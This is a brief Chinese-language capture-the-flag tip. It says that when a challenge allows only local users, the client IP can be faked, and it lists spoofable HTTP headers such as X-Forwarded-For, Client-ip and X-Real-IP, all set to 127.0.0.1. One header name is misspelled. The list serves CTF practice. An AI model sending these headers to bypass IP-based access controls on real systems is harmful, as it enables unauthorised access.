ctf中遇到只允许本地用户访问时，可以使用伪造IP

X-Forwarded-For:127.0.0.1

X-Forwarded-For:127.0.0.1
Client-ip:127.0.0.1
X-Client-IP:127.0.0.1
X-Remote-IP:127.0.0.1
X-Rriginating-IP:127.0.0.1
X-Remote-addr:127.0.0.1
HTTP_CLIENT_IP:127.0.0.1
X-Real-IP:127.0.0.1
X-Originating-IP:127.0.0.1
via:127.0.0.1